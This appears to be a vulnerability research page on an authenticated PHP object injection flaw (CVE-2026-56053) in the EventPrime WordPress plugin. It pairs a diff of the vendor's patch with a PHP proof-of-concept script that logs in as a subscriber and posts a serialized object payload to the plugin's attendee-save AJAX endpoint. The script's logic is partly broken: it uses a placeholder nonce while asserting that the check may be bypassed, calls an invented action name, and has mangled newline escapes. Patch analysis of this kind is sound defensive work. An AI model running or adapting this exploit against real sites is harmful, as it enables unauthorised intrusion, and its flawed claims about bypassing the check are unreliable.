CVE-2026-56053: EventPrime – Events Calendar, Bookings and Tickets <= 4.3.4.1 Authenticated (Subscriber+) PHP Object Injection PoC, Patch Analysis & Rule

--- a/eventprime-event-calendar-management/admin/partials/event-attendee-list.php
+++ b/eventprime-event-calendar-management/admin/partials/event-attendee-list.php
@@ -63,13 +63,13 @@
                         $num = 1;
                         $booking_controller = new EventPrime_Bookings;
                         $event_bookings = $booking_controller->get_event_bookings_by_event_id( $event_id );
-                        if( ! empty( $event_bookings ) ) {
-                            foreach( $event_bookings as $booking ) {
-                                $booking_id = $booking->ID;
-                                $em_attendee_names = get_post_meta( $booking_id, 'em_attendee_names', true );
-                                if( ! empty( $em_attendee_names ) ) {
-                                    $ticket_name = '';
-                                    foreach( $em_attendee_names as $ticket_id => $ticket_attendees ) {
+                        if( ! empty( $event_bookings ) ) {
+                            foreach( $event_bookings as $booking ) {
+                                $booking_id = $booking->ID;
+                                $em_attendee_names = $ep_functions->ep_normalize_booking_attendee_fields( get_post_meta( $booking_id, 'em_attendee_names', true ) );
+                                if( ! empty( $em_attendee_names ) ) {
+                                    $ticket_name = '';
+                                    foreach( $em_attendee_names as $ticket_id => $ticket_attendees ) {
                                         if( ! empty( $ticket_id ) ) {
                                             $ticket_name = $ep_functions->get_ticket_name_by_id( $ticket_id );
                                         }
@@ -239,4 +239,4 @@
             </td>
         </tr>
     </table>
-</div>
 No newline at end of file
+</div>
--- a/eventprime-event-calendar-management/event-prime.php
+++ b/eventprime-event-calendar-management/event-prime.php
@@ -16,7 +16,7 @@
  * Plugin Name:       EventPrime – Modern Events Calendar, Bookings and Tickets
  * Plugin URI:        https://theeventprime.com
  * Description:       Beginner-friendly Events Calendar plugin to create free as well as paid Events. Includes Event Types, Event Sites & Performers too.
- * Version:           4.3.4.1
+ * Version:           4.3.4.2
  * Author:            EventPrime Event Calendar
  * Author URI:        https://theeventprime.com/
  * License:           GPL-2.0+
@@ -35,7 +35,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'EVENTPRIME_VERSION', '4.3.4.1' );
+define( 'EVENTPRIME_VERSION', '4.3.4.2' );
 define('EM_DB_VERSION',4.0);
 if( ! defined( 'EP_PLUGIN_FILE' ) ) {
     define( 'EP_PLUGIN_FILE', __FILE__ );
--- a/eventprime-event-calendar-management/includes/class-ep-ajax.php
+++ b/eventprime-event-calendar-management/includes/class-ep-ajax.php
@@ -347,15 +347,25 @@
                         die;
                     }
                 }
-                else
-                {
-                    wp_send_json_error( array( 'error' => esc_html__( 'Something went wrong.', 'eventprime-event-calendar-management' ) ) );
-                    die;
-                }
-                if(!isset($data['ep_event_booking_event_fixed_price']))
-                {
-                    $data['ep_event_booking_event_fixed_price'] = 0;
-                }
+                else
+                {
+                    wp_send_json_error( array( 'error' => esc_html__( 'Something went wrong.', 'eventprime-event-calendar-management' ) ) );
+                    die;
+                }
+                if ( isset( $data['ep_booking_attendee_fields'] ) ) {
+                    if ( ! is_array( $data['ep_booking_attendee_fields'] ) ) {
+                        wp_send_json_error( array( 'error' => esc_html__( 'Invalid attendee details submitted.', 'eventprime-event-calendar-management' ) ) );
+                        die;
+                    }
+
+                    $data['ep_booking_attendee_fields'] = $ep_functions->ep_normalize_booking_attendee_fields( $data['ep_booking_attendee_fields'] );
+                } else {
+                    $data['ep_booking_attendee_fields'] = array();
+                }
+                if(!isset($data['ep_event_booking_event_fixed_price']))
+                {
+                    $data['ep_event_booking_event_fixed_price'] = 0;
+                }
                 $current_user = wp_get_current_user();
                 //echo 'data 1';
                 //print_r($data);
@@ -502,12 +512,11 @@
                 $order_info['booking_total']     = ( ! empty( $data['ep_event_booking_total_price'] ) ? (float)$data['ep_event_booking_total_price'] : 0.00 );
                 $order_info = apply_filters('ep_update_booking_order_info', $order_info, $data);
                 update_post_meta( $new_post_id, 'em_order_info', $order_info );
-                update_post_meta( $new_post_id, 'em_notes', array() );
-                update_post_meta( $new_post_id, 'em_payment_log', array() );
-                update_post_meta( $new_post_id, 'em_booked_seats', array() );
-                update_post_meta( $new_post_id, 'eventprime_updated_pattern',1);
-                $ep_booking_attendee_fields =(isset($data['ep_booking_attendee_fields']))?$sanitizer->sanitize($data['ep_booking_attendee_fields']):array();
-                update_post_meta( $new_post_id, 'em_attendee_names', $ep_booking_attendee_fields );
+                update_post_meta( $new_post_id, 'em_notes', array() );
+                update_post_meta( $new_post_id, 'em_payment_log', array() );
+                update_post_meta( $new_post_id, 'em_booked_seats', array() );
+                update_post_meta( $new_post_id, 'eventprime_updated_pattern',1);
+                update_post_meta( $new_post_id, 'em_attendee_names', $data['ep_booking_attendee_fields'] );
                 // check for booking fields data
                 $em_booking_fields_data = array();
                 if( ! empty( $data['ep_booking_booking_fields'] ) ) {
@@ -2713,13 +2722,12 @@

     }

-    /**
-     * Update booking action
-     */
-    public function update_event_booking_action() {
-        $sanitizer = new EventPrime_sanitizer;
-        parse_str( wp_unslash( $_POST['data'] ?? '' ), $data );
-        $ep_functions = new Eventprime_Basic_Functions;
+    /**
+     * Update booking action
+     */
+    public function update_event_booking_action() {
+        parse_str( wp_unslash( $_POST['data'] ?? '' ), $data );
+        $ep_functions = new Eventprime_Basic_Functions;
         if ( empty( $data['ep_update_event_booking_nonce'] ) || ! wp_verify_nonce( $data['ep_update_event_booking_nonce'], 'ep_update_event_booking' ) ) {
             wp_send_json_error( array( 'message' => esc_html__( 'Security check failed. Please refresh the page and try again later.', 'eventprime-event-calendar-management' ) ) );
         }
@@ -2744,14 +2752,18 @@
                 wp_send_json_error( array( 'message' => esc_html__( 'You are not authorised to update this booking.', 'eventprime-event-calendar-management' ) ) );
             }

-            $booking_controller = new EventPrime_Bookings;
-            $single_booking = $booking_controller->load_booking_detail( $ep_event_booking_id );
-            if( ! empty( $single_booking ) ) {
-                if( ! empty( $data['ep_booking_attendee_fields'] ) ) {
-                    $ep_booking_attendde_field = $sanitizer->sanitize($data['ep_booking_attendee_fields']);
-                    update_post_meta( $ep_event_booking_id, 'em_attendee_names', $ep_booking_attendde_field );
-                }
-            }
+            $booking_controller = new EventPrime_Bookings;
+            $single_booking = $booking_controller->load_booking_detail( $ep_event_booking_id );
+            if( ! empty( $single_booking ) ) {
+                if( ! empty( $data['ep_booking_attendee_fields'] ) ) {
+                    if ( ! is_array( $data['ep_booking_attendee_fields'] ) ) {
+                        wp_send_json_error( array( 'message' => esc_html__( 'Invalid attendee details submitted.', 'eventprime-event-calendar-management' ) ) );
+                    }
+
+                    $ep_booking_attendde_field = $ep_functions->ep_normalize_booking_attendee_fields( $data['ep_booking_attendee_fields'] );
+                    update_post_meta( $ep_event_booking_id, 'em_attendee_names', $ep_booking_attendde_field );
+                }
+            }
             wp_send_json_success( array( 'message' => esc_html__( 'Booking Updated Successfully.', 'eventprime-event-calendar-management' ), 'redirect_url' => esc_url( $ep_functions->ep_get_custom_page_url( 'profile_page' ) ) ) );
         } else{
             wp_send_json_error( array( 'message' => esc_html__( 'Booking id can't be null. Please refresh the page and try again later.', 'eventprime-event-calendar-management' ) ) );
@@ -2811,15 +2823,15 @@

                 $booking_controller = new EventPrime_Bookings;
                 $event_bookings = $booking_controller->get_event_bookings_by_event_id( $event_id );
-                if( ! empty( $event_bookings ) ) {
-                    $row = 1;
-                    foreach( $event_bookings as $booking ) {
-                        $booking_id = $booking->ID;
-                        $em_attendee_names = get_post_meta( $booking_id, 'em_attendee_names', true );
-                        if( ! empty( $em_attendee_names ) ) {
-                            $ticket_name = '';
-                            foreach( $em_attendee_names as $ticket_id => $ticket_attendees ) {
-                                $ticket_name = $ep_functions->get_ticket_name_by_id( $ticket_id );
+                if( ! empty( $event_bookings ) ) {
+                    $row = 1;
+                    foreach( $event_bookings as $booking ) {
+                        $booking_id = $booking->ID;
+                        $em_attendee_names = $ep_functions->ep_normalize_booking_attendee_fields( get_post_meta( $booking_id, 'em_attendee_names', true ) );
+                        if( ! empty( $em_attendee_names ) ) {
+                            $ticket_name = '';
+                            foreach( $em_attendee_names as $ticket_id => $ticket_attendees ) {
+                                $ticket_name = $ep_functions->get_ticket_name_by_id( $ticket_id );
                                 if( ! empty( $ticket_attendees ) && count( $ticket_attendees ) > 0 ) {
                                     foreach( $ticket_attendees as $attendee_data ) {
                                         //$bookings_data[$row]['id'] = $bookings_data[$row]['event'] = $bookings_data[$row]['user_email'] = $bookings_data[$row]['booked_on'] = '';
@@ -3139,19 +3151,23 @@
         } else{
             wp_send_json_error( array( 'message' => esc_html__( 'Security check failed. Please refresh the page and try again later.', 'eventprime-event-calendar-management' ) ) );
         }
-    }
-
-    public function edit_booking_attendee_data_save(){
-        $sanitizer = new EventPrime_sanitizer;
-        parse_str( wp_unslash( $_POST['data'] ), $data );
-
-        if( wp_verify_nonce( $_POST['security'], 'ep_booking_attendee_data' ) ) {
-            $attendees_names = isset($data['ep_booking_attendee_fields']) ? $sanitizer->sanitize($data['ep_booking_attendee_fields']) : array();
-            if(is_array($attendees_names)){
-                update_post_meta( $_POST['booking_id'], 'em_attendee_names', $attendees_names );
-            }
-
-        }
+    }
+
+    public function edit_booking_attendee_data_save(){
+        $ep_functions = new Eventprime_Basic_Functions;
+        parse_str( wp_unslash( $_POST['data'] ), $data );
+
+        if( wp_verify_nonce( $_POST['security'], 'ep_booking_attendee_data' ) ) {
+            if ( isset( $data['ep_booking_attendee_fields'] ) && ! is_array( $data['ep_booking_attendee_fields'] ) ) {
+                wp_send_json_error( array( 'message' => esc_html__( 'Invalid attendee details submitted.', 'eventprime-event-calendar-management' ) ) );
+            }
+
+            $attendees_names = isset($data['ep_booking_attendee_fields']) ? $ep_functions->ep_normalize_booking_attendee_fields($data['ep_booking_attendee_fields']) : array();
+            if(is_array($attendees_names)){
+                update_post_meta( $_POST['booking_id'], 'em_attendee_names', $attendees_names );
+            }
+
+        }
         die();
     }

--- a/eventprime-event-calendar-management/includes/class-ep-bookings.php
+++ b/eventprime-event-calendar-management/includes/class-ep-bookings.php
@@ -41,11 +41,15 @@
         if(!empty($title))
         {
             $booking->post_title = $title;
-        }
-        $meta = get_post_meta( $order_id );
-        foreach ( $meta as $key => $val ) {
-            $booking->{$key} = maybe_unserialize( $val[0] );
-        }
+        }
+        $meta = get_post_meta( $order_id );
+        foreach ( $meta as $key => $val ) {
+            if ( 'em_attendee_names' === $key ) {
+                $booking->{$key} = $ep_functions->ep_normalize_booking_attendee_fields( $val[0] );
+            } else {
+                $booking->{$key} = maybe_unserialize( $val[0] );
+            }
+        }

         $detail_url = get_permalink( $ep_functions->ep_get_global_settings( 'booking_details_page' ) );
         $booking->booking_detail_url = add_query_arg( array( 'order_id' => $order_id ), $detail_url );
@@ -627,19 +631,19 @@
                     }
                 }
                 $bookings_data[$row]['log']=serialize($payment_log);
-                $bookings_data[$row]['guest']='';
-                if(isset($booking->em_guest_booking) && !empty($booking->em_guest_booking)){
-                    $bookings_data[$row]['guest'] = serialize($order_info['guest_booking_custom_data']);
-                }
-
-                $attendees_count = 0;
-                if( ! empty( $booking->em_attendee_names ) && count( $booking->em_attendee_names ) > 0 ) {
-                    $attendee_names = isset($booking->em_attendee_names) &&!empty($booking->em_attendee_names) ? maybe_unserialize($booking->em_attendee_names): array();
-                    foreach( $attendee_names as $ticket_id => $attendee_data ) {
-                        foreach( $attendee_data as $booking_attendees ) {
-                            $booking_attendees_val = array_values( $booking_attendees );
-                            $attendees_count++;
-                        }
+                $bookings_data[$row]['guest']='';
+                if(isset($booking->em_guest_booking) && !empty($booking->em_guest_booking)){
+                    $bookings_data[$row]['guest'] = serialize($order_info['guest_booking_custom_data']);
+                }
+
+                $attendees_count = 0;
+                if( ! empty( $booking->em_attendee_names ) && count( $booking->em_attendee_names ) > 0 ) {
+                    $attendee_names = $ep_functions->ep_normalize_booking_attendee_fields( $booking->em_attendee_names );
+                    foreach( $attendee_names as $ticket_id => $attendee_data ) {
+                        foreach( $attendee_data as $booking_attendees ) {
+                            $booking_attendees_val = array_values( $booking_attendees );
+                            $attendees_count++;
+                        }
                     }
                     $bookings_data[$row]['attendees_count']=$attendees_count;
                     $booking_attendees_field_labels = array();
--- a/eventprime-event-calendar-management/includes/class-eventprime-functions.php
+++ b/eventprime-event-calendar-management/includes/class-eventprime-functions.php
@@ -50,22 +50,76 @@
         return array_values( $sanitized_ids );
     }

-    public function ep_get_safe_event_meta_value( $meta_key, $meta_value ) {
-        if ( 'em_organizer' === $meta_key ) {
-            if ( is_string( $meta_value ) && is_serialized( $meta_value ) ) {
-                $meta_value = @unserialize( trim( $meta_value ), array( 'allowed_classes' => false ) );
-            }
+    public function ep_get_safe_event_meta_value( $meta_key, $meta_value ) {
+        if ( 'em_organizer' === $meta_key ) {
+            if ( is_string( $meta_value ) && is_serialized( $meta_value ) ) {
+                $meta_value = @unserialize( trim( $meta_value ), array( 'allowed_classes' => false ) );
+            }

             return $this->ep_sanitize_term_id_list( $meta_value );
         }
-
-        return maybe_unserialize( $meta_value );
-    }
-
-    public function ep_sanitize_eventprime_download_url( $url ) {
-        $url = esc_url_raw( $url, array( 'https' ) );
-        if ( empty( $url ) ) {
-            return '';
+
+        return maybe_unserialize( $meta_value );
+    }
+
+    public function ep_safe_maybe_unserialize( $data ) {
+        if ( ! is_string( $data ) || ! function_exists( 'is_serialized' ) || ! is_serialized( $data ) ) {
+            return $data;
+        }
+
+        set_error_handler(
+            static function () {
+                return true;
+            }
+        );
+        $unserialized = unserialize( trim( $data ), array( 'allowed_classes' => false ) );
+        restore_error_handler();
+
+        if ( false === $unserialized && 'b:0;' !== $data ) {
+            return $data;
+        }
+
+        if ( $this->ep_contains_object( $unserialized ) ) {
+            return $data;
+        }
+
+        return $unserialized;
+    }
+
+    public function ep_contains_object( $value ) {
+        if ( is_object( $value ) ) {
+            return true;
+        }
+
+        if ( is_array( $value ) ) {
+            foreach ( $value as $item ) {
+                if ( $this->ep_contains_object( $item ) ) {
+                    return true;
+                }
+            }
+        }
+
+        return false;
+    }
+
+    public function ep_normalize_booking_attendee_fields( $attendee_fields ) {
+        if ( is_string( $attendee_fields ) ) {
+            $attendee_fields = $this->ep_safe_maybe_unserialize( $attendee_fields );
+        }
+
+        if ( ! is_array( $attendee_fields ) || $this->ep_contains_object( $attendee_fields ) ) {
+            return array();
+        }
+
+        $sanitizer = new EventPrime_sanitizer();
+
+        return $sanitizer->sanitize( $attendee_fields );
+    }
+
+    public function ep_sanitize_eventprime_download_url( $url ) {
+        $url = esc_url_raw( $url, array( 'https' ) );
+        if ( empty( $url ) ) {
+            return '';
         }

         $parsed_url = wp_parse_url( $url );
@@ -203,15 +257,15 @@
         );
     }

-    public function ep_get_custom_page_url($page, $id = null, $slug = null, $type = 'post', $taxonomy = '')
-    {
-        global $wp_rewrite;
-        $url = get_permalink($this->ep_get_global_settings($page));
-        $permalink = $wp_rewrite->permalink_structure;
-        if (!empty($id)) {
-            if (!empty($slug)) {
-                $url = add_query_arg($slug, $id, $url);
-            }
+    public function ep_get_custom_page_url($page, $id = null, $slug = null, $type = 'post', $taxonomy = '')
+    {
+        global $wp_rewrite;
+        $url = $this->ep_get_custom_page_base_url( $page );
+        $permalink = $wp_rewrite->permalink_structure;
+        if (!empty($id)) {
+            if (!empty($slug)) {
+                $url = add_query_arg($slug, $id, $url);
+            }
             $enable_seo_urls = $this->ep_get_global_settings('enable_seo_urls');
             if (!empty($enable_seo_urls) && !empty($permalink)) {
                 $url = get_permalink($id);
@@ -235,8 +289,31 @@
                 }
             }
         }
-        return $url;
-    }
+        return $url;
+    }
+
+    public function ep_get_custom_page_base_url( $page ) {
+        $page_id = absint( $this->ep_get_global_settings( $page ) );
+        if ( empty( $page_id ) ) {
+            return home_url( '/' );
+        }
+
+        $page_post = get_post( $page_id );
+        if ( empty( $page_post ) || empty( $page_post->post_type ) ) {
+            return home_url( '/' );
+        }
+
+        if ( 'page' === $page_post->post_type ) {
+            return get_page_link( $page_id );
+        }
+
+        // Prevent recursive event permalink generation when a page setting is misconfigured to point at an event.
+        if ( 'em_event' === $page_post->post_type ) {
+            return home_url( '/' );
+        }
+
+        return get_permalink( $page_id );
+    }



@@ -4118,12 +4195,16 @@
         }


-        $booking = new stdClass();
-
-        $meta = get_post_meta($order_id);
-        foreach ($meta as $key => $val) {
-            $booking->{$key} = maybe_unserialize($val[0]);
-        }
+        $booking = new stdClass();
+
+        $meta = get_post_meta($order_id);
+        foreach ($meta as $key => $val) {
+            if ( 'em_attendee_names' === $key ) {
+                $booking->{$key} = $this->ep_normalize_booking_attendee_fields( $val[0] );
+            } else {
+                $booking->{$key} = maybe_unserialize($val[0]);
+            }
+        }

         $detail_url = get_permalink($this->ep_get_global_settings('booking_details_page'));
         $booking->booking_detail_url = add_query_arg(array('order_id' => $order_id), $detail_url);
@@ -14179,19 +14260,25 @@
        foreach ( $bookings as $booking ) {

            // Get attendees
-        $attendee_summary = '';
-        $attendee_count   = 0;
-
-        if ( ! empty( $booking->em_attendee_names ) ) {
-            $attendee_names = maybe_unserialize( $booking->em_attendee_names );
-
-            foreach ( $attendee_names as $ticket_id => $attendee_data ) {
-                $labels_list = $this->ep_get_booking_attendee_field_labels( $attendee_data[1] );
-
-                foreach ( $attendee_data as $attendee ) {
-                    $attendee_count++;
-                    $attendee_line = '';
-                    $serialize_attendee = print_r($attendee,true);
+        $attendee_summary = '';
+        $attendee_count   = 0;
+
+        if ( ! empty( $booking->em_attendee_names ) ) {
+            $attendee_names = $this->ep_normalize_booking_attendee_fields( $booking->em_attendee_names );
+
+            foreach ( $attendee_names as $ticket_id => $attendee_data ) {
+                if ( ! isset( $attendee_data[1] ) || ! is_array( $attendee_data[1] ) ) {
+                    continue;
+                }
+                $labels_list = $this->ep_get_booking_attendee_field_labels( $attendee_data[1] );
+
+                foreach ( $attendee_data as $attendee ) {
+                    if ( ! is_array( $attendee ) ) {
+                        continue;
+                    }
+                    $attendee_count++;
+                    $attendee_line = '';
+                    $serialize_attendee = print_r($attendee,true);
                     foreach ( $labels_list as $label ) {
                         if($attendee_line!='')
                         {
@@ -14227,15 +14314,15 @@
                ? date_i18n( 'Y-m-d H:i', $booking->event_data->em_end_date )
                : '';

-           $item  = array(
-               'id'             => $booking->em_id,
-               'event'          => $booking->em_name,
-               'start'          => $start,
-               'end'            => $end,
-               'tickets'        => count( (array) $booking->em_attendee_names ),
-                'attendees'      => trim( $attendee_summary ),
-               'total'          => isset( $booking->em_order_info['booking_total'] )
-                                      ? $booking->em_order_info['booking_total']
+           $item  = array(
+               'id'             => $booking->em_id,
+               'event'          => $booking->em_name,
+               'start'          => $start,
+               'end'            => $end,
+               'tickets'        => count( $attendee_names ),
+                'attendees'      => trim( $attendee_summary ),
+               'total'          => isset( $booking->em_order_info['booking_total'] )
+                                      ? $booking->em_order_info['booking_total']
                                       : '',
                'gateway'        => ucfirst( $booking->em_payment_method ?? 'N/A' ),
                'booking_status' => ucfirst( $booking->em_status          ?? 'N/A' ),
--- a/eventprime-event-calendar-management/public/class-eventprime-event-calendar-management-public.php
+++ b/eventprime-event-calendar-management/public/class-eventprime-event-calendar-management-public.php
@@ -2418,18 +2418,35 @@
         return esc_url( get_permalink( $login_page ) );
     }

-    public function ep_filter_event_post_type_link( $permalink, $post ) {
-        if ( empty( $post ) || empty( $post->post_type ) || 'em_event' !== $post->post_type ) {
-            return $permalink;
-        }
-
-        $ep_functions = new Eventprime_Basic_Functions();
-        if ( ! empty( $ep_functions->ep_get_global_settings( 'enable_seo_urls' ) ) ) {
-            return $permalink;
-        }
-
-        return $ep_functions->ep_get_custom_page_url( 'events_page', $post->ID, 'event' );
-    }
+    public function ep_filter_event_post_type_link( $permalink, $post ) {
+        if ( empty( $post ) || empty( $post->post_type ) || 'em_event' !== $post->post_type ) {
+            return $permalink;
+        }
+
+        static $processing_posts = array();
+        if ( ! empty( $post->ID ) && isset( $processing_posts[ $post->ID ] ) ) {
+            return $permalink;
+        }
+
+        $ep_functions = new Eventprime_Basic_Functions();
+        if ( ! empty( $ep_functions->ep_get_global_settings( 'enable_seo_urls' ) ) ) {
+            return $permalink;
+        }
+
+        if ( ! empty( $post->ID ) ) {
+            $processing_posts[ $post->ID ] = true;
+        }
+
+        try {
+            $event_url = $ep_functions->ep_get_custom_page_url( 'events_page', $post->ID, 'event' );
+        } finally {
+            if ( ! empty( $post->ID ) ) {
+                unset( $processing_posts[ $post->ID ] );
+            }
+        }
+
+        return $event_url;
+    }

     public function ep_redirect_event_to_canonical_url() {
         if ( is_admin() || wp_doing_ajax() || is_feed() || is_embed() || is_preview() ) {

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-56053 - EventPrime – Events Calendar, Bookings and Tickets <= 4.3.4.1 - Authenticated (Subscriber+) PHP Object Injection

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress URL
$username = 'subscriber'; // CHANGE THIS
$password = 'password'; // CHANGE THIS

// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_exec($ch);
curl_close($ch);

// Step 2: Get a valid AJAX nonce (optional but helps avoid errors)
$admin_url = $target_url . '/wp-admin/admin-ajax.php';
$nonce_ch = curl_init();
curl_setopt($nonce_ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=wp_ajax_edit_booking_attendee_data_save&security=fake');
curl_setopt($nonce_ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($nonce_ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($nonce_ch);
curl_close($nonce_ch);

// This PoC demonstrates storing a serialized object payload.
// In a real attack, the payload would be a serialized object that triggers a gadget chain.
// For demonstration, we send a simple string that would be unsafe if unserialized without restrictions.
// The actual dangerous payload would be something like: O:14:"SomeGadgetClass":0:{}

$attendee_payload = 'O:14:"SomeGadgetClass":0:{}'; // Simple serialized object - will be stored if not blocked

$post_data = array(
    'action' => 'edit_booking_attendee_data_save',
    'security' => 'any_nonce', // The nonce check may be bypassed depending on version; adjust as needed
    'booking_id' => 1, // You might need to find a real booking ID; can try 1 or brute force
    'data' => 'ep_booking_attendee_fields=' . urlencode($attendee_payload)
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: " . substr($response, 0, 500) . "n";
echo "PoC complete. If the payload is stored, the vulnerability exists.n";

// Clean up
unlink('/tmp/cookies.txt');